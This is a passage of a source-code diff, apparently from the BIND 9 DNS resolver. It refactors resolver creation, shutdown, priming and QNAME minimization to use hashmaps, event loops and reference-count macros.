+dns_resolver__destroy(dns_resolver_t *res) {
+	alternate_t *a = NULL;
 
 	isc_refcount_destroy(&res->references);
 	REQUIRE(!atomic_load_acquire(&res->priming));
@@ -10208,24 +9815,30 @@ destroy(dns_resolver_t *res) {
 
 	REQUIRE(atomic_load_acquire(&res->nfctx) == 0);
 
+	res->magic = 0;
+
+	dns_nametree_detach(&res->algorithms);
+	dns_nametree_detach(&res->digests);
+	dns_nametree_detach(&res->mustbesecure);
+
+	if (res->querystats != NULL) {
+		dns_stats_detach(&res->querystats);
+	}
+	if (res->stats != NULL) {
+		isc_stats_detach(&res->stats);
+	}
+
 	isc_mutex_destroy(&res->primelock);
 	isc_mutex_destroy(&res->lock);
-	for (i = 0; i < res->nbuckets; i++) {
-		INSIST(ISC_LIST_EMPTY(res->buckets[i].fctxs));
-		isc_task_shutdown(res->buckets[i].task);
-		isc_task_detach(&res->buckets[i].task);
-		isc_mutex_destroy(&res->buckets[i].lock);
-		isc_mem_detach(&res->buckets[i].mctx);
-	}
-	isc_mem_put(res->mctx, res->buckets,
-		    res->nbuckets * sizeof(fctxbucket_t));
-	for (i = 0; i < RES_DOMAIN_BUCKETS; i++) {
-		INSIST(ISC_LIST_EMPTY(res->dbuckets[i].list));
-		isc_mem_detach(&res->dbuckets[i].mctx);
-		isc_mutex_destroy(&res->dbuckets[i].lock);
-	}
-	isc_mem_put(res->mctx, res->dbuckets,
-		    RES_DOMAIN_BUCKETS * sizeof(zonebucket_t));
+
+	INSIST(isc_hashmap_count(res->fctxs) == 0);
+	isc_hashmap_destroy(&res->fctxs);
+	isc_rwlock_destroy(&res->fctxs_lock);
+
+	INSIST(isc_hashmap_count(res->counters) == 0);
+	isc_hashmap_destroy(&res->counters);
+	isc_rwlock_destroy(&res->counters_lock);
+
 	if (res->dispatches4 != NULL) {
 		dns_dispatchset_destroy(&res->dispatches4);
 	}
@@ -10239,310 +9852,151 @@ destroy(dns_resolver_t *res) {
 		}
 		isc_mem_put(res->mctx, a, sizeof(*a));
 	}
-	dns_resolver_reset_algorithms(res);
-	dns_resolver_reset_ds_digests(res);
 	dns_badcache_destroy(&res->badcache);
-	dns_resolver_resetmustbesecure(res);
-#if USE_ALGLOCK
-	isc_rwlock_destroy(&res->alglock);
-#endif /* if USE_ALGLOCK */
-#if USE_MBSLOCK
-	isc_rwlock_destroy(&res->mbslock);
-#endif /* if USE_MBSLOCK */
-	isc_timer_detach(&res->spillattimer);
-	res->magic = 0;
-	isc_mem_put(res->mctx, res, sizeof(*res));
-}
 
-static void
-send_shutdown_events(dns_resolver_t *res) {
-	isc_event_t *event, *next_event;
-	isc_task_t *etask;
-
-	/*
-	 * Caller must be holding the resolver lock.
-	 */
-
-	for (event = ISC_LIST_HEAD(res->whenshutdown); event != NULL;
-	     event = next_event)
-	{
-		next_event = ISC_LIST_NEXT(event, ev_link);
-		ISC_LIST_UNLINK(res->whenshutdown, event, ev_link);
-		etask = event->ev_sender;
-		event->ev_sender = res;
-		isc_task_sendanddetach(&etask, &event);
-	}
-}
-
-static void
-empty_bucket(dns_resolver_t *res) {
-	RTRACE("empty_bucket");
-
-	LOCK(&res->lock);
-
-	INSIST(res->activebuckets > 0);
-	res->activebuckets--;
-	if (res->activebuckets == 0) {
-		send_shutdown_events(res);
-	}
-
-	UNLOCK(&res->lock);
+	dns_view_weakdetach(&res->view);
+	isc_mem_putanddetach(&res->mctx, res, sizeof(*res));
 }
 
 static void
-spillattimer_countdown(isc_task_t *task, isc_event_t *event) {
-	dns_resolver_t *res = event->ev_arg;
-	isc_result_t result;
-	unsigned int count;
-	bool logit = false;
+spillattimer_countdown(void *arg) {
+	dns_resolver_t *res = (dns_resolver_t *)arg;
+	unsigned int spillat = 0;
 
 	REQUIRE(VALID_RESOLVER(res));
 
-	UNUSED(task);
+	if (atomic_load(&res->exiting)) {
+		isc_timer_destroy(&res->spillattimer);
+		return;
+	}
 
 	LOCK(&res->lock);
 	INSIST(!atomic_load_acquire(&res->exiting));
 	if (res->spillat > res->spillatmin) {
-		res->spillat--;
-		logit = true;
+		spillat = --res->spillat;
 	}
 	if (res->spillat <= res->spillatmin) {
-		result = isc_timer_reset(res->spillattimer,
-					 isc_timertype_inactive, NULL, NULL,
-					 true);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
+		isc_timer_destroy(&res->spillattimer);
 	}
-	count = res->spillat;
 	UNLOCK(&res->lock);
-	if (logit) {
+	if (spillat > 0) {
 		isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
 			      DNS_LOGMODULE_RESOLVER, ISC_LOG_NOTICE,
-			      "clients-per-query decreased to %u", count);
+			      "clients-per-query decreased to %u", spillat);
 	}
-
-	isc_event_free(&event);
 }
 
 isc_result_t
-dns_resolver_create(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		    unsigned int ntasks, unsigned int ndisp,
-		    isc_socketmgr_t *socketmgr, isc_timermgr_t *timermgr,
-		    unsigned int options, dns_dispatchmgr_t *dispatchmgr,
+dns_resolver_create(dns_view_t *view, isc_loopmgr_t *loopmgr,
+		    unsigned int ndisp, isc_nm_t *nm, unsigned int options,
+		    isc_tlsctx_cache_t *tlsctx_cache,
 		    dns_dispatch_t *dispatchv4, dns_dispatch_t *dispatchv6,
 		    dns_resolver_t **resp) {
-	dns_resolver_t *res;
-	isc_result_t result = ISC_R_SUCCESS;
-	unsigned int i, buckets_created = 0, dbuckets_created = 0;
-	isc_task_t *task = NULL;
-	char name[16];
-	unsigned dispattr;
+	dns_resolver_t *res = NULL;
 
 	/*
 	 * Create a resolver.
 	 */
 
 	REQUIRE(DNS_VIEW_VALID(view));
-	REQUIRE(ntasks > 0);
 	REQUIRE(ndisp > 0);
 	REQUIRE(resp != NULL && *resp == NULL);
-	REQUIRE(dispatchmgr != NULL);
+	REQUIRE(tlsctx_cache != NULL);
 	REQUIRE(dispatchv4 != NULL || dispatchv6 != NULL);
 
 	res = isc_mem_get(view->mctx, sizeof(*res));
+	*res = (dns_resolver_t){
+		.loopmgr = loopmgr,
+		.rdclass = view->rdclass,
+		.nm = nm,
+		.options = options,
+		.tlsctx_cache = tlsctx_cache,
+		.spillatmin = 10,
+		.spillat = 10,
+		.spillatmax = 100,
+		.retryinterval = 10000,
+		.nonbackofftries = 3,
+		.query_timeout = DEFAULT_QUERY_TIMEOUT,
+		.maxdepth = DEFAULT_RECURSION_DEPTH,
+		.maxqueries = DEFAULT_MAX_QUERIES,
+		.alternates = ISC_LIST_INITIALIZER,
+	};
+
 	RTRACE("create");
-	res->mctx = view->mctx;
-	res->rdclass = view->rdclass;
-	res->socketmgr = socketmgr;
-	res->timermgr = timermgr;
-	res->taskmgr = taskmgr;
-	res->dispatchmgr = dispatchmgr;
-	res->view = view;
-	res->options = options;
-	res->lame_ttl = 0;
-	ISC_LIST_INIT(res->alternates);
-	res->udpsize = DEFAULT_EDNS_BUFSIZE;
-	res->algorithms = NULL;
-	res->digests = NULL;
-	res->badcache = NULL;
-	result = dns_badcache_init(res->mctx, DNS_RESOLVER_BADCACHESIZE,
-				   &res->badcache);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_res;
-	}
-	res->mustbesecure = NULL;
-	res->spillatmin = res->spillat = 10;
-	res->spillatmax = 100;
-	res->spillattimer = NULL;
-	atomic_init(&res->zspill, 0);
-	res->zero_no_soa_ttl = false;
-	res->retryinterval = 30000;
-	res->nonbackofftries = 3;
-	res->query_timeout = DEFAULT_QUERY_TIMEOUT;
-	res->maxdepth = DEFAULT_RECURSION_DEPTH;
-	res->maxqueries = DEFAULT_MAX_QUERIES;
+
+	dns_view_weakattach(view, &res->view);
+	isc_mem_attach(view->mctx, &res->mctx);
+
 	res->quotaresp[dns_quotatype_zone] = DNS_R_DROP;
 	res->quotaresp[dns_quotatype_server] = DNS_R_SERVFAIL;
-	res->nbuckets = ntasks;
-	if (view->resstats != NULL) {
-		isc_stats_set(view->resstats, ntasks,
-			      dns_resstatscounter_buckets);
-	}
-	res->activebuckets = ntasks;
-	res->buckets = isc_mem_get(view->mctx, ntasks * sizeof(fctxbucket_t));
-	for (i = 0; i < ntasks; i++) {
-		isc_mutex_init(&res->buckets[i].lock);
 
-		res->buckets[i].task = NULL;
-		/*
-		 * Since we have a pool of tasks we bind them to task queues
-		 * to spread the load evenly
-		 */
-		result = isc_task_create_bound(taskmgr, 0,
-					       &res->buckets[i].task, i);
-		if (result != ISC_R_SUCCESS) {
-			isc_mutex_destroy(&res->buckets[i].lock);
-			goto cleanup_buckets;
-		}
-		res->buckets[i].mctx = NULL;
-		snprintf(name, sizeof(name), "res%u", i);
-		isc_mem_attach(view->mctx, &res->buckets[i].mctx);
-		isc_task_setname(res->buckets[i].task, name, res);
-		ISC_LIST_INIT(res->buckets[i].fctxs);
-		atomic_init(&res->buckets[i].exiting, false);
-		buckets_created++;
-	}
+#if DNS_RESOLVER_TRACE
+	fprintf(stderr, "dns_resolver__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__, res);
+#endif
+	isc_refcount_init(&res->references, 1);
 
-	res->dbuckets = isc_mem_get(view->mctx,
-				    RES_DOMAIN_BUCKETS * sizeof(zonebucket_t));
-	for (i = 0; i < RES_DOMAIN_BUCKETS; i++) {
-		ISC_LIST_INIT(res->dbuckets[i].list);
-		res->dbuckets[i].mctx = NULL;
-		isc_mem_attach(view->mctx, &res->dbuckets[i].mctx);
-		isc_mutex_init(&res->dbuckets[i].lock);
-		dbuckets_created++;
-	}
+	res->badcache = dns_badcache_new(res->mctx);
+
+	/* This needs to be case sensitive to not lowercase options and type */
+	isc_hashmap_create(view->mctx, RES_DOMAIN_HASH_BITS,
+			   ISC_HASHMAP_CASE_SENSITIVE, &res->fctxs);
+	isc_rwlock_init(&res->fctxs_lock);
+
+	isc_hashmap_create(view->mctx, RES_DOMAIN_HASH_BITS,
+			   ISC_HASHMAP_CASE_INSENSITIVE, &res->counters);
+	isc_rwlock_init(&res->counters_lock);
 
-	res->dispatches4 = NULL;
 	if (dispatchv4 != NULL) {
-		dns_dispatchset_create(view->mctx, socketmgr, taskmgr,
-				       dispatchv4, &res->dispatches4, ndisp);
-		dispattr = dns_dispatch_getattributes(dispatchv4);
-		res->exclusivev4 = (dispattr & DNS_DISPATCHATTR_EXCLUSIVE);
+		dns_dispatchset_create(res->mctx, dispatchv4, &res->dispatches4,
+				       ndisp);
 	}
 
-	res->dispatches6 = NULL;
 	if (dispatchv6 != NULL) {
-		dns_dispatchset_create(view->mctx, socketmgr, taskmgr,
-				       dispatchv6, &res->dispatches6, ndisp);
-		dispattr = dns_dispatch_getattributes(dispatchv6);
-		res->exclusivev6 = (dispattr & DNS_DISPATCHATTR_EXCLUSIVE);
+		dns_dispatchset_create(res->mctx, dispatchv6, &res->dispatches6,
+				       ndisp);
 	}
 
-	res->querydscp4 = -1;
-	res->querydscp6 = -1;
-	isc_refcount_init(&res->references, 1);
-	atomic_init(&res->exiting, false);
-	res->frozen = false;
-	ISC_LIST_INIT(res->whenshutdown);
-	atomic_init(&res->priming, false);
-	res->primefetch = NULL;
-
-	atomic_init(&res->nfctx, 0);
-
 	isc_mutex_init(&res->lock);
 	isc_mutex_init(&res->primelock);
 
-	task = NULL;
-	result = isc_task_create(taskmgr, 0, &task);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_primelock;
-	}
-	isc_task_setname(task, "resolver_task", NULL);
-
-	result = isc_timer_create(timermgr, isc_timertype_inactive, NULL, NULL,
-				  task, spillattimer_countdown, res,
-				  &res->spillattimer);
-	isc_task_detach(&task);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_primelock;
-	}
-
-#if USE_ALGLOCK
-	isc_rwlock_init(&res->alglock, 0, 0);
-#endif /* if USE_ALGLOCK */
-#if USE_MBSLOCK
-	isc_rwlock_init(&res->mbslock, 0, 0);
-#endif /* if USE_MBSLOCK */
+	dns_nametree_create(res->mctx, DNS_NAMETREE_BITS, "algorithms",
+			    &res->algorithms);
+	dns_nametree_create(res->mctx, DNS_NAMETREE_BITS, "ds-digests",
+			    &res->digests);
+	dns_nametree_create(res->mctx, DNS_NAMETREE_BOOL,
+			    "dnssec-must-be-secure", &res->mustbesecure);
 
 	res->magic = RES_MAGIC;
 
 	*resp = res;
 
 	return (ISC_R_SUCCESS);
-
-cleanup_primelock:
-	isc_mutex_destroy(&res->primelock);
-	isc_mutex_destroy(&res->lock);
-
-	if (res->dispatches6 != NULL) {
-		dns_dispatchset_destroy(&res->dispatches6);
-	}
-	if (res->dispatches4 != NULL) {
-		dns_dispatchset_destroy(&res->dispatches4);
-	}
-
-	for (i = 0; i < dbuckets_created; i++) {
-		isc_mutex_destroy(&res->dbuckets[i].lock);
-		isc_mem_detach(&res->dbuckets[i].mctx);
-	}
-	isc_mem_put(view->mctx, res->dbuckets,
-		    RES_DOMAIN_BUCKETS * sizeof(zonebucket_t));
-
-cleanup_buckets:
-	for (i = 0; i < buckets_created; i++) {
-		isc_mem_detach(&res->buckets[i].mctx);
-		isc_mutex_destroy(&res->buckets[i].lock);
-		isc_task_shutdown(res->buckets[i].task);
-		isc_task_detach(&res->buckets[i].task);
-	}
-	isc_mem_put(view->mctx, res->buckets,
-		    res->nbuckets * sizeof(fctxbucket_t));
-
-	dns_badcache_destroy(&res->badcache);
-
-cleanup_res:
-	isc_mem_put(view->mctx, res, sizeof(*res));
-
-	return (result);
 }
 
 static void
-prime_done(isc_task_t *task, isc_event_t *event) {
-	dns_resolver_t *res;
-	dns_fetchevent_t *fevent;
-	dns_fetch_t *fetch;
+prime_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	dns_resolver_t *res = resp->arg;
+	dns_fetch_t *fetch = NULL;
 	dns_db_t *db = NULL;
 
-	REQUIRE(event->ev_type == DNS_EVENT_FETCHDONE);
-	fevent = (dns_fetchevent_t *)event;
-	res = event->ev_arg;
+	REQUIRE(resp->type == FETCHDONE);
 	REQUIRE(VALID_RESOLVER(res));
 
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
-		      DNS_LOGMODULE_RESOLVER, ISC_LOG_INFO,
-		      "resolver priming query complete");
-
-	UNUSED(task);
+		      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(1),
+		      "resolver priming query complete: %s",
+		      isc_result_totext(resp->result));
 
 	LOCK(&res->primelock);
 	fetch = res->primefetch;
 	res->primefetch = NULL;
 	UNLOCK(&res->primelock);
 
-	INSIST(atomic_compare_exchange_strong_acq_rel(&res->priming,
-						      &(bool){ true }, false));
+	atomic_compare_exchange_enforced(&res->priming, &(bool){ true }, false);
 
-	if (fevent->result == ISC_R_SUCCESS && res->view->cache != NULL &&
+	if (resp->result == ISC_R_SUCCESS && res->view->cache != NULL &&
 	    res->view->hints != NULL)
 	{
 		dns_cache_attachdb(res->view->cache, &db);
@@ -10550,27 +10004,25 @@ prime_done(isc_task_t *task, isc_event_t *event) {
 		dns_db_detach(&db);
 	}
 
-	if (fevent->node != NULL) {
-		dns_db_detachnode(fevent->db, &fevent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (fevent->db != NULL) {
-		dns_db_detach(&fevent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
-	if (dns_rdataset_isassociated(fevent->rdataset)) {
-		dns_rdataset_disassociate(fevent->rdataset);
+	if (dns_rdataset_isassociated(resp->rdataset)) {
+		dns_rdataset_disassociate(resp->rdataset);
 	}
-	INSIST(fevent->sigrdataset == NULL);
+	INSIST(resp->sigrdataset == NULL);
 
-	isc_mem_put(res->mctx, fevent->rdataset, sizeof(*fevent->rdataset));
-
-	isc_event_free(&event);
+	isc_mem_put(res->mctx, resp->rdataset, sizeof(*resp->rdataset));
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 	dns_resolver_destroyfetch(&fetch);
 }
 
 void
 dns_resolver_prime(dns_resolver_t *res) {
 	bool want_priming = false;
-	dns_rdataset_t *rdataset;
 	isc_result_t result;
 
 	REQUIRE(VALID_RESOLVER(res));
@@ -10586,30 +10038,31 @@ dns_resolver_prime(dns_resolver_t *res) {
 	if (want_priming) {
 		/*
 		 * To avoid any possible recursive locking problems, we
-		 * start the priming fetch like any other fetch, and holding
-		 * no resolver locks.  No one else will try to start it
-		 * because we're the ones who set res->priming to true.
-		 * Any other callers of dns_resolver_prime() while we're
-		 * running will see that res->priming is already true and
-		 * do nothing.
+		 * start the priming fetch like any other fetch, and
+		 * holding no resolver locks.  No one else will try to
+		 * start it because we're the ones who set res->priming
+		 * to true. Any other callers of dns_resolver_prime()
+		 * while we're running will see that res->priming is
+		 * already true and do nothing.
 		 */
 		RTRACE("priming");
-		rdataset = isc_mem_get(res->mctx, sizeof(*rdataset));
+
+		dns_rdataset_t *rdataset = isc_mem_get(res->mctx,
+						       sizeof(*rdataset));
 		dns_rdataset_init(rdataset);
 
 		LOCK(&res->primelock);
-		INSIST(res->primefetch == NULL);
 		result = dns_resolver_createfetch(
 			res, dns_rootname, dns_rdatatype_ns, NULL, NULL, NULL,
 			NULL, 0, DNS_FETCHOPT_NOFORWARD, 0, NULL,
-			res->buckets[0].task, prime_done, res, rdataset, NULL,
-			&res->primefetch);
+			isc_loop_current(res->loopmgr), prime_done, res,
+			rdataset, NULL, &res->primefetch);
 		UNLOCK(&res->primelock);
 
 		if (result != ISC_R_SUCCESS) {
 			isc_mem_put(res->mctx, rdataset, sizeof(*rdataset));
-			INSIST(atomic_compare_exchange_strong_acq_rel(
-				&res->priming, &(bool){ true }, false));
+			atomic_compare_exchange_enforced(
+				&res->priming, &(bool){ true }, false);
 		}
 		inc_stats(res, dns_resstatscounter_priming);
 	}
@@ -10626,55 +10079,8 @@ dns_resolver_freeze(dns_resolver_t *res) {
 	res->frozen = true;
 }
 
-void
-dns_resolver_attach(dns_resolver_t *source, dns_resolver_t **targetp) {
-	REQUIRE(VALID_RESOLVER(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	RRTRACE(source, "attach");
-
-	LOCK(&source->lock);
-	REQUIRE(!atomic_load_acquire(&source->exiting));
-	isc_refcount_increment(&source->references);
-	UNLOCK(&source->lock);
-
-	*targetp = source;
-}
-
-void
-dns_resolver_whenshutdown(dns_resolver_t *res, isc_task_t *task,
-			  isc_event_t **eventp) {
-	isc_task_t *tclone;
-	isc_event_t *event;
-
-	REQUIRE(VALID_RESOLVER(res));
-	REQUIRE(eventp != NULL);
-
-	event = *eventp;
-	*eventp = NULL;
-
-	LOCK(&res->lock);
-
-	if (atomic_load_acquire(&res->exiting) && res->activebuckets == 0) {
-		/*
-		 * We're already shutdown.  Send the event.
-		 */
-		event->ev_sender = res;
-		isc_task_send(task, &event);
-	} else {
-		tclone = NULL;
-		isc_task_attach(task, &tclone);
-		event->ev_sender = tclone;
-		ISC_LIST_APPEND(res->whenshutdown, event, ev_link);
-	}
-
-	UNLOCK(&res->lock);
-}
-
 void
 dns_resolver_shutdown(dns_resolver_t *res) {
-	unsigned int i;
-	fetchctx_t *fctx;
 	isc_result_t result;
 	bool is_false = false;
 
@@ -10682,82 +10088,44 @@ dns_resolver_shutdown(dns_resolver_t *res) {
 
 	RTRACE("shutdown");
 
-	LOCK(&res->lock);
 	if (atomic_compare_exchange_strong(&res->exiting, &is_false, true)) {
-		RTRACE("exiting");
+		isc_hashmap_iter_t *it = NULL;
 
-		for (i = 0; i < res->nbuckets; i++) {
-			LOCK(&res->buckets[i].lock);
-			for (fctx = ISC_LIST_HEAD(res->buckets[i].fctxs);
-			     fctx != NULL; fctx = ISC_LIST_NEXT(fctx, link))
-			{
-				fctx_shutdown(fctx);
-			}
-			if (res->dispatches4 != NULL && !res->exclusivev4) {
-				dns_dispatchset_cancelall(res->dispatches4,
-							  res->buckets[i].task);
-			}
-			if (res->dispatches6 != NULL && !res->exclusivev6) {
-				dns_dispatchset_cancelall(res->dispatches6,
-							  res->buckets[i].task);
-			}
-			atomic_store(&res->buckets[i].exiting, true);
-			if (ISC_LIST_EMPTY(res->buckets[i].fctxs)) {
-				INSIST(res->activebuckets > 0);
-				res->activebuckets--;
-			}
-			UNLOCK(&res->buckets[i].lock);
-		}
-		if (res->activebuckets == 0) {
-			send_shutdown_events(res);
-		}
-		result = isc_timer_reset(res->spillattimer,
-					 isc_timertype_inactive, NULL, NULL,
-					 true);
-		RUNTIME_CHECK(result == ISC_R_SUCCESS);
-	}
-	UNLOCK(&res->lock);
-}
+		RTRACE("exiting");
 
-void
-dns_resolver_detach(dns_resolver_t **resp) {
-	dns_resolver_t *res;
+		RWLOCK(&res->fctxs_lock, isc_rwlocktype_write);
+		isc_hashmap_iter_create(res->fctxs, &it);
+		for (result = isc_hashmap_iter_first(it);
+		     result == ISC_R_SUCCESS;
+		     result = isc_hashmap_iter_next(it))
+		{
+			fetchctx_t *fctx = NULL;
 
-	REQUIRE(resp != NULL);
-	res = *resp;
-	*resp = NULL;
-	REQUIRE(VALID_RESOLVER(res));
+			isc_hashmap_iter_current(it, (void **)&fctx);
+			INSIST(fctx != NULL);
 
-	RTRACE("detach");
+			fetchctx_ref(fctx);
+			isc_async_run(fctx->loop, (isc_job_cb)fctx_shutdown,
+				      fctx);
+		}
+		isc_hashmap_iter_destroy(&it);
+		RWUNLOCK(&res->fctxs_lock, isc_rwlocktype_write);
 
-	if (isc_refcount_decrement(&res->references) == 1) {
 		LOCK(&res->lock);
-		INSIST(atomic_load_acquire(&res->exiting));
-		INSIST(res->activebuckets == 0);
+		if (res->spillattimer != NULL) {
+			isc_timer_async_destroy(&res->spillattimer);
+		}
 		UNLOCK(&res->lock);
-		destroy(res);
 	}
 }
 
-static inline bool
-fctx_match(fetchctx_t *fctx, const dns_name_t *name, dns_rdatatype_t type,
-	   unsigned int options) {
-	/*
-	 * Don't match fetch contexts that are shutting down.
-	 */
-	if (fctx->cloned || fctx->state == fetchstate_done ||
-	    ISC_LIST_EMPTY(fctx->events))
-	{
-		return (false);
-	}
+#if DNS_RESOLVER_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_resolver, dns_resolver__destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_resolver, dns_resolver__destroy);
+#endif
 
-	if (fctx->type != type || fctx->options != options) {
-		return (false);
-	}
-	return (dns_name_equal(&fctx->name, name));
-}
-
-static inline void
+static void
 log_fetch(const dns_name_t *name, dns_rdatatype_t type) {
 	char namebuf[DNS_NAME_FORMATSIZE];
 	char typebuf[DNS_RDATATYPE_FORMATSIZE];
@@ -10779,17 +10147,18 @@ log_fetch(const dns_name_t *name, dns_rdatatype_t type) {
 		      typebuf);
 }
 
-static isc_result_t
+static void
 fctx_minimize_qname(fetchctx_t *fctx) {
-	isc_result_t result = ISC_R_SUCCESS;
+	isc_result_t result;
 	unsigned int dlabels, nlabels;
+	dns_name_t name;
 
 	REQUIRE(VALID_FCTX(fctx));
 
-	dlabels = dns_name_countlabels(&fctx->qmindcname);
-	nlabels = dns_name_countlabels(&fctx->name);
-	dns_name_free(&fctx->qminname, fctx->mctx);
-	dns_name_init(&fctx->qminname, NULL);
+	dns_name_init(&name, NULL);
+
+	dlabels = dns_name_countlabels(fctx->qmindcname);
+	nlabels = dns_name_countlabels(fctx->name);
 
 	if (dlabels > fctx->qmin_labels) {
 		fctx->qmin_labels = dlabels + 1;
@@ -10803,7 +10172,8 @@ fctx_minimize_qname(fetchctx_t *fctx) {
 		 * boundaries at /16, /32, /48, /56, /64 and /128
 		 * In 'label count' terms that's equal to
 		 *    7    11   15   17   19      35
-		 * We fix fctx->qmin_labels to point to the nearest boundary
+		 * We fix fctx->qmin_labels to point to the nearest
+		 * boundary
 		 */
 		if (fctx->qmin_labels < 7) {
 			fctx->qmin_labels = 7;
@@ -10821,52 +10191,144 @@ fctx_minimize_qname(fetchctx_t *fctx) {
 			fctx->qmin_labels = nlabels;
 		}
 	} else if (fctx->qmin_labels > DNS_QMIN_MAXLABELS) {
-		fctx->qmin_labels = DNS_MAX_LABELS + 1;
+		fctx->qmin_labels = DNS_NAME_MAXLABELS;
 	}
 
 	if (fctx->qmin_labels < nlabels) {
-		/*
-		 * We want to query for qmin_labels from fctx->name
-		 */
-		dns_fixedname_t fname;
-		dns_name_t *name = dns_fixedname_initname(&fname);
-		dns_name_split(&fctx->name, fctx->qmin_labels, NULL,
-			       dns_fixedname_name(&fname));
-		if ((fctx->options & DNS_FETCHOPT_QMIN_USE_A) != 0) {
-			isc_buffer_t dbuf;
-			dns_fixedname_t tmpname;
-			dns_name_t *tname = dns_fixedname_initname(&tmpname);
-			char ndata[DNS_NAME_MAXWIRE];
-
-			isc_buffer_init(&dbuf, ndata, DNS_NAME_MAXWIRE);
-			dns_fixedname_init(&tmpname);
-			result = dns_name_concatenate(&underscore_name, name,
-						      tname, &dbuf);
-			if (result == ISC_R_SUCCESS) {
-				dns_name_dup(tname, fctx->mctx,
-					     &fctx->qminname);
+		dns_rdataset_t rdataset;
+		dns_fixedname_t fixed;
+		dns_name_t *fname = dns_fixedname_initname(&fixed);
+		dns_rdataset_init(&rdataset);
+		do {
+			/*
+			 * We want to query for qmin_labels from fctx->name.
+			 */
+			dns_name_split(fctx->name, fctx->qmin_labels, NULL,
+				       &name);
+			/*
+			 * Look to see if we have anything cached about NS
+			 * RRsets at this name and if so skip this name and
+			 * try with an additional label prepended.
+			 */
+			result = dns_db_find(fctx->cache, &name, NULL,
+					     dns_rdatatype_ns, 0, 0, NULL,
+					     fname, &rdataset, NULL);
+			if (dns_rdataset_isassociated(&rdataset)) {
+				dns_rdataset_disassociate(&rdataset);
+			}
+			switch (result) {
+			case ISC_R_SUCCESS:
+			case DNS_R_CNAME:
+			case DNS_R_DNAME:
+			case DNS_R_NCACHENXDOMAIN:
+			case DNS_R_NCACHENXRRSET:
+				fctx->qmin_labels++;
+				continue;
+			default:
+				break;
 			}
-			fctx->qmintype = dns_rdatatype_a;
-		} else {
-			dns_name_dup(dns_fixedname_name(&fname), fctx->mctx,
-				     &fctx->qminname);
-			fctx->qmintype = dns_rdatatype_ns;
-		}
+			break;
+		} while (fctx->qmin_labels < nlabels);
+	}
+
+	if (fctx->qmin_labels < nlabels) {
+		dns_name_copy(&name, fctx->qminname);
+		fctx->qmintype = dns_rdatatype_ns;
 		fctx->minimized = true;
 	} else {
 		/* Minimization is done, we'll ask for whole qname */
+		dns_name_copy(fctx->name, fctx->qminname);
 		fctx->qmintype = fctx->type;
-		dns_name_dup(&fctx->name, fctx->mctx, &fctx->qminname);
 		fctx->minimized = false;
 	}
 
 	char domainbuf[DNS_NAME_FORMATSIZE];
-	dns_name_format(&fctx->qminname, domainbuf, sizeof(domainbuf));
+	dns_name_format(fctx->qminname, domainbuf, sizeof(domainbuf));
 	isc_log_write(dns_lctx, DNS_LOGCATEGORY_RESOLVER,
 		      DNS_LOGMODULE_RESOLVER, ISC_LOG_DEBUG(5),
 		      "QNAME minimization - %s minimized, qmintype %d "
 		      "qminname %s",
 		      fctx->minimized ? "" : "not", fctx->qmintype, domainbuf);
+}
+
+static isc_result_t
+get_attached_fctx(dns_resolver_t *res, isc_loop_t *loop, const dns_name_t *name,
+		  dns_rdatatype_t type, const dns_name_t *domain,
+		  dns_rdataset_t *nameservers, const isc_sockaddr_t *client,
+		  unsigned int options, unsigned int depth, isc_counter_t *qc,
+		  fetchctx_t **fctxp, bool *new_fctx) {
+	isc_result_t result;
+	uint32_t hashval;
+	fctxkey_t key = {
+		.size = sizeof(unsigned int) + sizeof(dns_rdatatype_t) +
+			name->length,
+	};
+	fetchctx_t *fctx = NULL;
+	isc_rwlocktype_t locktype = isc_rwlocktype_read;
+
+	STATIC_ASSERT(sizeof(key.options) == sizeof(options),
+		      "key options size mismatch");
+	STATIC_ASSERT(sizeof(key.type) == sizeof(type),
+		      "key type size mismatch");
+
+	key.options = options;
+	key.type = type;
+	isc_ascii_lowercopy(key.name, name->ndata, name->length);
+
+	hashval = isc_hashmap_hash(res->fctxs, key.key, key.size);
+
+again:
+	RWLOCK(&res->fctxs_lock, locktype);
+	result = isc_hashmap_find(res->fctxs, &hashval, key.key, key.size,
+				  (void **)&fctx);
+	switch (result) {
+	case ISC_R_SUCCESS:
+		break;
+	case ISC_R_NOTFOUND:
+		/* FIXME: pass key to fctx_create(?) */
+		result = fctx_create(res, loop, name, type, domain, nameservers,
+				     client, options, depth, qc, &fctx);
+		if (result != ISC_R_SUCCESS) {
+			goto unlock;
+		}
+
+		UPGRADELOCK(&res->fctxs_lock, locktype);
+		result = isc_hashmap_add(res->fctxs, &hashval, fctx->key.key,
+					 fctx->key.size, fctx);
+		if (result == ISC_R_SUCCESS) {
+			*new_fctx = true;
+			fctx->hashed = true;
+		} else {
+			fctx_done_detach(&fctx, result);
+			result = isc_hashmap_find(res->fctxs, &hashval, key.key,
+						  key.size, (void **)&fctx);
+		}
+		INSIST(result == ISC_R_SUCCESS);
+		break;
+	default:
+		UNREACHABLE();
+	}
+	fetchctx_ref(fctx);
+unlock:
+	RWUNLOCK(&res->fctxs_lock, locktype);
+	if (result == ISC_R_SUCCESS) {
+		LOCK(&fctx->lock);
+		if (SHUTTINGDOWN(fctx) || fctx->cloned) {
+			/*
+			 * This is the single place where fctx might get
+			 * accesses from a different thread, so we need to
+			 * double check whether fctxs is done (or cloned) and
+			 * help with the release if the fctx has been cloned.
+			 */
+			release_fctx(fctx);
+			UNLOCK(&fctx->lock);
+			fetchctx_detach(&fctx);
+			goto again;
+		}
+
+		INSIST(!SHUTTINGDOWN(fctx));
+		*fctxp = fctx;
+	}
 
 	return (result);
 }
@@ -10878,20 +10340,17 @@ dns_resolver_createfetch(dns_resolver_t *res, const dns_name_t *name,
